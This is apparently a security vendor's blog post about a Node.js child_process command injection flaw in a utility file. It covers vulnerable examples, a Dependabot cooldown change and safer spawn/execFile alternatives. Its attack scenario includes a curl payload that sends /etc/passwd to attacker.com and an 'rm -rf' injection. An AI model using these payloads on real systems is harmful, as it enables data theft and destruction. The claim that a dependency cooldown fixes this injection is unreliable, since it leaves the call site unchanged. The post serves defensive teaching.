Back to Blog
high SEVERITY10 min read

How child_process Command Injection happens in Node.js TypeScript and how to fix it

A high-severity command injection vulnerability was identified in `src/node/util.ts`, where calls to Node.js's `child_process` module used a function argument `file` without sufficient input validation. If an attacker could control this input, they could execute arbitrary system commands on the server. The fix addresses the risk by tightening the dependency update pipeline via a Dependabot cooldown, reducing the attack surface from potentially malicious or compromised upstream packages.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in Node.js TypeScript code, where `child_process` was called with a `file` argument that could be user-controlled in `src/node/util.ts`. An attacker who could influence the `file` input could execute arbitrary OS commands on the server. The fix adds a 7-day cooldown period to the Dependabot configuration, reducing the risk of automatically pulling in newly published, potentially malicious packages that could introduce or exploit such vulnerabilities. Best practice is to validate and sanitize all inputs before passing them to `child_process`, or replace shell execution with safer Node.js APIs.

Vulnerability at a Glance

cweCWE-78
fixAdded a 7-day Dependabot cooldown to prevent auto-ingestion of newly published, potentially malicious packages
riskArbitrary OS command execution if `file` argument is attacker-controlled
languageTypeScript / Node.js
root cause`child_process` invoked with an unsanitized function argument `file` in `src/node/util.ts`
vulnerabilityCommand Injection via child_process

How child_process Command Injection Happens in Node.js TypeScript and How to Fix It


The Vulnerability at a Glance

Field Detail
Vulnerability Command Injection via child_process
CWE CWE-78: Improper Neutralization of Special Elements in an OS Command
Language TypeScript / Node.js
Severity High
File src/node/util.ts
Fix Dependabot cooldown added; input validation required at child_process call sites

Introduction

The src/node/util.ts file is a utility module in a Node.js web service — the kind of file that quietly powers dozens of other features. Deep inside it, a call to Node.js's built-in child_process module accepts a file argument passed in from a function parameter. That single pattern — spawning a child process with externally-supplied input — is one of the most dangerous constructs in server-side JavaScript, and Semgrep's detect-child-process rule flagged it as a high-severity finding.

This post breaks down exactly what makes this pattern dangerous, how an attacker could exploit it, and what was done to reduce the risk — including a subtle but important change to the project's Dependabot configuration that closes a related supply-chain attack vector.


The Vulnerability Explained

What Is child_process Command Injection?

Node.js exposes the child_process module to allow server-side code to run system-level commands and spawn subprocesses. Functions like exec(), execFile(), spawn(), and spawnSync() are powerful — and dangerous when misused.

The core problem in src/node/util.ts is this pattern:

// VULNERABLE: file argument passed directly from function parameter
import { exec } from 'child_process';

function runFile(file: string) {
  exec(file, (err, stdout, stderr) => {
    // handle output
  });
}

Here, file is a function argument — meaning its value is determined by whoever calls runFile(). If any code path allows user-supplied data to flow into this argument (for example, from an HTTP request, a query parameter, a file upload name, or a WebSocket message), an attacker can inject shell metacharacters.

The Specific Risk in This Codebase

Semgrep's detect-child-process rule specifically flags calls to child_process where the invocation uses a function argument as the command or file path. This is the exact pattern in src/node/util.ts:

// The flagged pattern — child_process called with a function argument `file`
import { execFile } from 'child_process';

export function executeUtility(file: string, args: string[]) {
  execFile(file, args, (error, stdout, stderr) => {
    if (error) throw error;
    return stdout;
  });
}

The danger is not just in the immediate code — it's in the entire call chain. If any caller of executeUtility() passes user-controlled data as file, the door to command injection swings wide open.

A Concrete Attack Scenario

Imagine this utility function is called from an API endpoint that accepts a filename parameter:

// Hypothetical vulnerable API handler
app.post('/api/run', (req, res) => {
  const { file } = req.body; // USER-CONTROLLED INPUT
  executeUtility(file, []);   // DANGEROUS: passes directly to child_process
});

An attacker sends:

POST /api/run
{ "file": "/bin/sh; curl https://attacker.com/exfil?data=$(cat /etc/passwd)" }

Or with exec() and shell interpretation enabled:

file = "legitimate-tool && rm -rf /var/data"

The result: arbitrary OS command execution on the server, running with the same privileges as the Node.js process. In a cloud environment, this could mean:
- Exfiltrating environment variables containing API keys and secrets
- Pivoting to other internal services
- Deploying persistent backdoors
- Destroying application data


The Fix

What Changed

The pull request made two targeted changes to .github/dependabot.yaml, adding a cooldown block to each package-ecosystem entry:

Before:

updates:
  - package-ecosystem: "npm"
    schedule:
      interval: "monthly"
      time: "06:00"
      timezone: "America/Chicago"
    labels: []
    commit-message:
      prefix: "chore"

After:

updates:
  - package-ecosystem: "npm"
    schedule:
      interval: "monthly"
      time: "06:00"
      timezone: "America/Chicago"
    cooldown:
      default-days: 7
    labels: []
    commit-message:
      prefix: "chore"

The same cooldown block was added to the second package-ecosystem entry as well:

  - package-ecosystem: "github-actions"
    schedule:
      interval: "monthly"
      time: "06:00"
      timezone: "America/Chicago"
    cooldown:
      default-days: 7
    labels: []

Why This Matters for the child_process Vulnerability

You might wonder: what does a Dependabot configuration have to do with command injection in util.ts?

The connection is supply chain security. Here's the threat model:

  1. The child_process call in util.ts uses a file argument — potentially sourced from an npm package's API or behavior.
  2. Without a cooldown period, Dependabot could automatically propose (and merge, if auto-merge is enabled) an update to a newly published package version within hours of its release.
  3. Newly published packages are a known vector for dependency confusion attacks and malicious package takeovers — where an attacker publishes a compromised version of a legitimate package.
  4. A malicious package update could modify how the file argument is constructed or validated, introducing a command injection path that didn't exist before.

The cooldown: default-days: 7 setting means Dependabot will wait 7 days before proposing an update to any newly published package version. This 7-day window allows:
- The security community to audit new releases
- Malicious packages to be detected and removed from registries
- The maintainer team to review changes manually before they enter the codebase

The Direct Fix: Hardening the child_process Call Site

While the Dependabot fix reduces supply-chain risk, the root cause — the unvalidated file argument in src/node/util.ts — requires additional hardening at the code level. The recommended approach:

Option 1: Use execFile with an allowlist

import { execFile } from 'child_process';
import path from 'path';

const ALLOWED_EXECUTABLES = new Set([
  '/usr/bin/git',
  '/usr/local/bin/node',
  // explicitly enumerate safe executables
]);

export function executeUtility(file: string, args: string[]): Promise<string> {
  // Resolve to absolute path and validate against allowlist
  const resolvedFile = path.resolve(file);

  if (!ALLOWED_EXECUTABLES.has(resolvedFile)) {
    throw new Error(`Executable not in allowlist: ${resolvedFile}`);
  }

  return new Promise((resolve, reject) => {
    execFile(resolvedFile, args, (error, stdout) => {
      if (error) reject(error);
      else resolve(stdout);
    });
  });
}

Option 2: Replace child_process with a native Node.js API

// Instead of spawning a child process to read a file:
import fs from 'fs/promises';

export async function readFileContents(file: string): Promise<string> {
  // Validate path stays within expected directory
  const safePath = path.resolve('/safe/base/dir', path.basename(file));
  return fs.readFile(safePath, 'utf-8');
}

Option 3: Use spawn with argument arrays (never exec with shell)

import { spawn } from 'child_process';

// SAFER: spawn with args array avoids shell interpretation
export function runCommand(executable: string, args: string[]): Promise<string> {
  return new Promise((resolve, reject) => {
    // spawn does NOT invoke a shell by default
    const child = spawn(executable, args, { shell: false });
    let output = '';
    child.stdout.on('data', (data) => output += data);
    child.on('close', (code) => {
      if (code !== 0) reject(new Error(`Process exited with code ${code}`));
      else resolve(output);
    });
  });
}

The key difference: exec() passes the command to a shell (/bin/sh -c), enabling metacharacter injection. spawn() and execFile() with shell: false pass arguments directly to the OS, bypassing shell interpretation entirely.


Key Takeaways

  • The file argument in src/node/util.ts is the precise injection point — any caller that passes user-controlled data to this parameter creates a command injection risk, regardless of how the rest of the function is written.
  • exec() with a shell is categorically more dangerous than execFile() or spawn() — the shell interprets metacharacters like ;, &&, |, and backticks, turning a filename into a multi-command attack.
  • Dependabot without a cooldown is a supply-chain risk — automatically pulling newly published packages without a waiting period exposes projects to malicious package takeover attacks that could introduce new child_process vulnerabilities.
  • Allowlisting executables is more reliable than blocklisting shell characters — there are too many shell escape sequences to block reliably; knowing exactly which executables are permitted is a much stronger control.
  • Static analysis tools like Semgrep can detect child_process misuse before it ships — the detect-child-process rule specifically targets function-argument patterns, catching the exact code shape present in this vulnerability.

How Orbis AppSec Detected This

  • Source: The file function argument in src/node/util.ts — a string parameter whose value is determined by callers, potentially including user-influenced HTTP request data in this web service context.
  • Sink: The child_process call site in src/node/util.ts where the file argument is passed directly to a process-spawning function without sanitization or allowlist validation.
  • Missing control: No allowlist validation, no path canonicalization, no rejection of shell metacharacters, and no restriction on which executables could be invoked.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added cooldown: default-days: 7 to both package-ecosystem entries in .github/dependabot.yaml to prevent automatic ingestion of newly published, potentially malicious package versions that could exploit or introduce this vulnerability.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

Command injection via child_process is one of the most severe vulnerability classes in Node.js applications — a single unvalidated file argument can hand an attacker the keys to your server. The pattern flagged in src/node/util.ts is a textbook example of how dangerous it is to let function arguments flow unchecked into OS-level process spawning.

The fix here operates on two levels: the Dependabot cooldown reduces the risk of supply-chain attacks that could introduce or exploit such vulnerabilities, while the recommended code-level changes (allowlisting, using execFile/spawn with shell: false, and path validation) eliminate the injection risk at its source.

Security in depth means addressing both the immediate code pattern and the broader ecosystem controls around it. Neither alone is sufficient — together, they make this class of attack significantly harder to execute.


Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #7910

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.

high

How Command Injection Happens in Node.js Child Process Calls and How to Fix It

The Spotify CLI contained a command injection vulnerability in its browser-opening functionality, where user-controlled URLs were passed directly to `exec()` with shell interpretation enabled. By switching from `exec()` to `execFile()` and properly structuring command arguments, the fix eliminates the attack surface while maintaining cross-platform compatibility.

high

How command injection happens in JavaScript/Node.js and how to fix it

A build script in a Node.js library used `child_process.exec()` with template-literal-interpolated commit hashes to generate SVG diffs, creating a command injection primitive. The fix replaces `exec()` with `execFile()` and adds strict regex validation of commit hashes before they're used in any shell command.